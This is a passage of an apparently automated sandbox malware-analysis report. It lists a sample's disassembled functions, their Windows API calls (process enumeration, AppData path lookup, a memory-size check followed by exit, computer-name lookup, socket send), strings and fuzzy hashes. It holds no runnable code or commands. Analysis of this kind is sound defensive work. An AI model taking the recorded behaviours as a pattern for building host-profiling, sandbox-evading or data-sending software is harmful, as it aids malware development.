memcpy.MSVCRT(?,?,?,00000000,?,00000000,?,00409186,?,?,?,?,00000000,?,00001000,?), ref: 00417E44

Part of subcall function 00417E80: std::_Xinvalid_argument.LIBCPMT ref: 00417E98
Part of subcall function 00417E80: std::_Xinvalid_argument.LIBCPMT ref: 00417EB6
Part of subcall function 00417E80: std::_Xinvalid_argument.LIBCPMT ref: 00417ED1
Part of subcall function 00417E80: memcpy.MSVCRT(?,?,?,00000000,?,?,00417DBA,00000000,?,?,00000000,?,00409186,?), ref: 00417F34

Strings

string too long, xrefs: 00417DCF, 00417DEA

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: 7987bd0bee006026b30168d83fe03d950f29a60d11a7adc235b790aa83e1aff9
Instruction ID: a518247f02fbcfe0b933ceef7c034ec8913c5dca20db7e05804c17eae30ac7e6
Opcode Fuzzy Hash: 7987bd0bee006026b30168d83fe03d950f29a60d11a7adc235b790aa83e1aff9
Instruction Fuzzy Hash: 0331D3323086148BD7209A6CE8809ABF7F9EF92764B20466FF55187781C7799C8183ED

Function 0041F070 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041F0A3
StrCmpCA.SHLWAPI(?,ERROR,?,?,?,?,?,?,?,?,?,0041F5C8), ref: 0041F0BE
lstrcpy.KERNEL32(00000000,ERROR), ref: 0041F11F

Strings

ERROR, xrefs: 0041F0B8, 0041F119

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: ERROR
API String ID: 3722407311-2861137601
Opcode ID: 0851081eace642bd6c56261b735aea38ea7b863d2c97b281242fc2dfe10c7035
Instruction ID: e551c8557ae74913ac2e280d572a1325889dfb7e705f189731e502da5ac0649a
Opcode Fuzzy Hash: 0851081eace642bd6c56261b735aea38ea7b863d2c97b281242fc2dfe10c7035
Instruction Fuzzy Hash: AF2137707101069BCB21FF79DD4969B37A4AF54304F10543AB84AEB2D2DE78DC598F98

Function 00408D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00408C6B,00000000,?,?,00000000), ref: 00408D62
std::exception::exception.LIBCMT ref: 00408D7D
__CxxThrowException@8.LIBCMT ref: 00408D92

Strings

,KC, xrefs: 00408D73, 00408D87, 00408D8A

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: ??2@Exception@8Throwstd::exception::exception
String ID: ,KC
API String ID: 3448701045-844030066
Opcode ID: ba07a1a7cb03cf7df115c988e9dfe4f3e29b4bd0569c488f346d492908bc8c33
Instruction ID: 7e0f562336db71168d7c8f46cedd210e8efd75197196b26cc5229f7258d876a7
Opcode Fuzzy Hash: ba07a1a7cb03cf7df115c988e9dfe4f3e29b4bd0569c488f346d492908bc8c33
Instruction Fuzzy Hash: 24E02B7050020997CB14FBB49D016BFB3789F00305F40076EE921611C1EF79D614C15E

Function 00423C20 Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

Part of subcall function 004273F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042740E

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000), ref: 00423C66
Process32First.KERNEL32(00000000,00000128), ref: 00423C79
Process32Next.KERNEL32(00000000,00000128), ref: 00423C8F

Part of subcall function 00427520: lstrlenA.KERNEL32(?,00406E30), ref: 0042752B
Part of subcall function 00427520: lstrcpy.KERNEL32(00000000), ref: 0042754F
Part of subcall function 00427520: lstrcatA.KERNEL32(?,?), ref: 00427559

Part of subcall function 00427490: lstrcpy.KERNEL32(00000000), ref: 004274BE

CloseHandle.KERNEL32(00000000), ref: 00423DC7

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 02475c23a72b0a7928aa0446485c806ac0b1c57a1275fb1fe220b287b806c503
Instruction ID: 65f025791f1d49aa9fa4dd2ea052385014b3edabb40608454db533efc498974c
Opcode Fuzzy Hash: 02475c23a72b0a7928aa0446485c806ac0b1c57a1275fb1fe220b287b806c503
Instruction Fuzzy Hash: 12811630A00225CFC714CF19E948B96B7F1BB4431AF69C1AAD4095B3A2D77A9D86CF94

Function 0041E6E0 Relevance: 6.2, APIs: 4, Instructions: 150stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041E724
lstrcpy.KERNEL32(00000000,?), ref: 0041E753
lstrcatA.KERNEL32(?,00000000), ref: 0041E761
lstrcatA.KERNEL32(?,02F65A68), ref: 0041E77C

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: 79dc44bb0af7e6e55eff530c87d9235a24ce2a350830137740aefd4291479741
Instruction ID: d179b8e3deb6a120d79b1f27310482d69bacf78de88dcc798064b86230924c04
Opcode Fuzzy Hash: 79dc44bb0af7e6e55eff530c87d9235a24ce2a350830137740aefd4291479741
Instruction Fuzzy Hash: B251E875B10218AFCB15EB58DC82EEE7379FB48300F44046EB916972D1DE74AE848FA4

Function 0041ED50 Relevance: 6.1, APIs: 4, Instructions: 90stringCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041ED94
lstrcpy.KERNEL32(00000000,?), ref: 0041EDC3
lstrcatA.KERNEL32(?,00000000), ref: 0041EDD1
lstrcatA.KERNEL32(?,02F660D8), ref: 0041EDEC

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FolderPathlstrcpy
String ID:
API String ID: 818526691-0
Opcode ID: 9b929b66085b8d3b8fae6621cf1fec4211336a695e2b002c71e4b2049c2f6135
Instruction ID: 548abaebbf59b3f73a096daa9e82042932645e01c8e8e814297f34cb958fda0b
Opcode Fuzzy Hash: 9b929b66085b8d3b8fae6621cf1fec4211336a695e2b002c71e4b2049c2f6135
Instruction Fuzzy Hash: 6931A671B101199BCB25EB68ED45BEE77B5AF48300F1004BEBA05A72D1DEB49E848F94

Function 00424690 Relevance: 6.0, APIs: 4, Instructions: 40stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,00000000), ref: 004246A2
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004246BD
CloseHandle.KERNEL32(00000000), ref: 004246C4
lstrcpy.KERNEL32(00000000,?), ref: 004246F7

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcesslstrcpy
String ID:
API String ID: 4028989146-0
Opcode ID: 5a9fa2318f7ed7f4211b7a275ea3e007fe9e5f763776efa781be0fbe24af1897
Instruction ID: 89b3fd9b368b49522ab5d19e174988168d5e162c6f02c99092bafe11d3b8975f
Opcode Fuzzy Hash: 5a9fa2318f7ed7f4211b7a275ea3e007fe9e5f763776efa781be0fbe24af1897
Instruction Fuzzy Hash: EAF0FCB0A012256FE7205B74AD4DBE776A8DF55304F4001A5FA85D72D0DBF898808BE4

Function 00413520 Relevance: 5.5, APIs: 4, Instructions: 486stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000,?), ref: 00413572
lstrcpy.KERNEL32(00000000,?), ref: 0041359B
lstrcpy.KERNEL32(00000000,?), ref: 004135C1
lstrcpy.KERNEL32(00000000,?), ref: 004135E7

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 57b2e493ac20a5a1bc8c35065c68b0461cc7ecfbcd49225ee68db3b56f59a972
Instruction ID: 189003b246af164e0b666199af868299eeb39cd2f4310dd5171a60ab8cf0f5e3
Opcode Fuzzy Hash: 57b2e493ac20a5a1bc8c35065c68b0461cc7ecfbcd49225ee68db3b56f59a972
Instruction Fuzzy Hash: 5412FD70A112018FDB28CF19C554B66B7E5BF4471AB19C0AEE809DB3A1D77ADD82CF84

Function 004010C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 004010EA
ExitProcess.KERNEL32 ref: 00401114

Strings

@, xrefs: 004010E2

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: f127fba7727a91b88187df4bdea323de0718f2841fffded282c9bdb05d23b48c
Instruction ID: 822a68ba0681b22967503a2222785f0e102d58cfae2bd9798b899adfc8918474
Opcode Fuzzy Hash: f127fba7727a91b88187df4bdea323de0718f2841fffded282c9bdb05d23b48c
Instruction Fuzzy Hash: A8F027701082444BEB186A64DD4A32EF7D9EB46350F10493BEEDAE72E2E278C840857F

Function 00425327 Relevance: 4.6, APIs: 3, Instructions: 59networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,?,?,00000000), ref: 00425386
closesocket.WS2_32(00000000), ref: 00425392
WSACleanup.WS2_32 ref: 00425398

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Cleanupclosesocketsend
String ID:
API String ID: 869633743-0
Opcode ID: 6d4c7b362644fc00ecc84d01687001c68c2b48e403c9008b58b9341fcd1b2eea
Instruction ID: 37f250c66848d37a6772de9212ab879d867e9edd681b65deba7963ac663c1324
Opcode Fuzzy Hash: 6d4c7b362644fc00ecc84d01687001c68c2b48e403c9008b58b9341fcd1b2eea
Instruction Fuzzy Hash: C0219031E10528DBCB10EB64ED41AEEB735FF84314F9045AAE848A7195DF742E818FD4

Function 00422CA0 Relevance: 4.5, APIs: 3, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 00422CCF
HeapAlloc.KERNEL32(00000000), ref: 00422CD6
GetComputerNameA.KERNEL32(00000000,00000104), ref: 00422CEA

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 7db49a1c687822b88e6960738c302d8a58f85134f02731479fbe0d2a8d218816
Instruction ID: 76df4b056d0eca1e3b26fb95e723f1b54b7b4cedffe2d7d1caadf66d817bb496
Opcode Fuzzy Hash: 7db49a1c687822b88e6960738c302d8a58f85134f02731479fbe0d2a8d218816
Instruction Fuzzy Hash: 7E01A272B44254ABC714CF99ED45B9AB7B8F744B21F10026AE915E3780D7B859008AE1

Function 00425C70 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 22stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00425C78

Part of subcall function 00425AA0: memmove.MSVCRT(?,?,?,00000000), ref: 00425AE7

Strings

PB, xrefs: 00425C7E
HTTP/1.1Host: , xrefs: 00425C75

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: memmovestrlen
String ID: HTTP/1.1Host: $PB
API String ID: 3405231851-3011640361
Opcode ID: f218da002cb4603149a90ec8c81179333e21726a8fd461ac9ef38addaddcbf33
Instruction ID: 059d489370889156b18e61e496ae3aeff4b4f1b87ee36da66bf270bf6876b59f
Opcode Fuzzy Hash: f218da002cb4603149a90ec8c81179333e21726a8fd461ac9ef38addaddcbf33
Instruction Fuzzy Hash: DBE08C703042185BD3306FA9E885B67BBECEF446A8F40052AF549C7342D7B9980483E6

Function 004024E0 Relevance: 4.1, APIs: 3, Instructions: 395stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401557
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 00401579
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 0040159B
Part of subcall function 00401530: lstrcpy.KERNEL32(00000000,?), ref: 004015FF

lstrcpy.KERNEL32(00000000,?), ref: 00402528
lstrcpy.KERNEL32(00000000,?), ref: 0040254E
lstrcpy.KERNEL32(00000000,?), ref: 00402577

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a37b17ae2128dccb13ed87379fb1ee203836e4e37ceda4b6fae01b23c2bdd14a
Instruction ID: bbf0ac654a7c5ca4664c9c0d407af63bc7b7504fa4f74331c34d7a1a857b09ce
Opcode Fuzzy Hash: a37b17ae2128dccb13ed87379fb1ee203836e4e37ceda4b6fae01b23c2bdd14a
Instruction Fuzzy Hash: 28F10075A012018FDB58CF19C658B26B7E5AF44318B19C1BED809AB3E1D7BADC42CF94

Function 0041BDB0 Relevance: 3.8, APIs: 3, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041BE49
lstrcpy.KERNEL32(00000000,?), ref: 0041BE79
lstrcpy.KERNEL32(00000000,?), ref: 0041BEA4

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 0ce4c47f232f336ff3a866b144974c8ce23a4d25b9c24e981b9893ea27df356b
Instruction ID: ca1cfde19954f55b869ef86f53effb72ae3a6e14c33f5e3b154f3b69fe03f6f8
Opcode Fuzzy Hash: 0ce4c47f232f336ff3a866b144974c8ce23a4d25b9c24e981b9893ea27df356b
Instruction Fuzzy Hash: 3331AC30B102158BC721FF6EDA8A59E77B0AF50304F10507AB446BB291DE78ED448FD8

Function 0041E2D9 Relevance: 3.1, APIs: 2, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041E2FF
GetFileAttributesA.KERNELBASE(00000000), ref: 0041E306

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: AttributesFilelstrcpy
String ID:
API String ID: 2907202325-0
Opcode ID: 71bbb8fb9b3ff292e1953d30da10c44aee0eac54947617f1960577bfdb232eb4
Instruction ID: cb644116b30524b03ffeb9b6eb68842d9b9a43437b4e1225de50d9419e1eed4a
Opcode Fuzzy Hash: 71bbb8fb9b3ff292e1953d30da10c44aee0eac54947617f1960577bfdb232eb4
Instruction Fuzzy Hash: FD218B35B1000C9BCB25EB29D9496DD73B1AF48314F1004BAB915A33D0DF789F898F88

Function 00407450 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8f9d84ea6abed9c75fb6a8fc06eba5b507f8ff4c924b92f6d2bbf13ab30231
Instruction ID: ce404a04cc562515f5586855b9226e9276199a5b8ea77466ce64febfd0233d63
Opcode Fuzzy Hash: ca8f9d84ea6abed9c75fb6a8fc06eba5b507f8ff4c924b92f6d2bbf13ab30231
Instruction Fuzzy Hash: 9A313370E042159BDB14DF5ADD40BAEB7F5AF84354F10817BD804E7791E738E901CA9A

Function 00424210 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040E336), ref: 00424218

Memory Dump Source

Source File: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.0000000000638000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2321595530.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 391656d0c836b4df23ab2ea01148029e8afa6b7b0e36696d1dae48b9b4515986
Instruction ID: a7acc1954b4fe25856781a37229119ccf513f161784abcca130b54d2d748de2e
Opcode Fuzzy Hash: 391656d0c836b4df23ab2ea01148029e8afa6b7b0e36696d1dae48b9b4515986
Instruction Fuzzy Hash: 73E04F31700138978B106AEDB40849ABB58CB057B5B400162F90CD7281C664DC4147E5

Function 00408C00 Relevance: 1.3, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,00000000,?,00000000,?,?,00000000), ref: 00408CBD

Memory Dump Source

